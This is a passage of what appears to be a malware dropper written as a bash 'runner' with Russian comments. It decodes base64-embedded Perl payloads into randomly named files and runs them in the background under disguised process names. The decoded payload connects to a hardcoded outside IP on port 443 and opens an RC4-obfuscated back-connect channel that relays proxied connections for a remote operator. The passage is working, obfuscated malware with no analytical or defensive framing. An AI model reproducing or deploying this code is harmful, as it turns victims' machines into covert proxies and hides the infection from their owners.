UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #68 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #68 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 69 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw 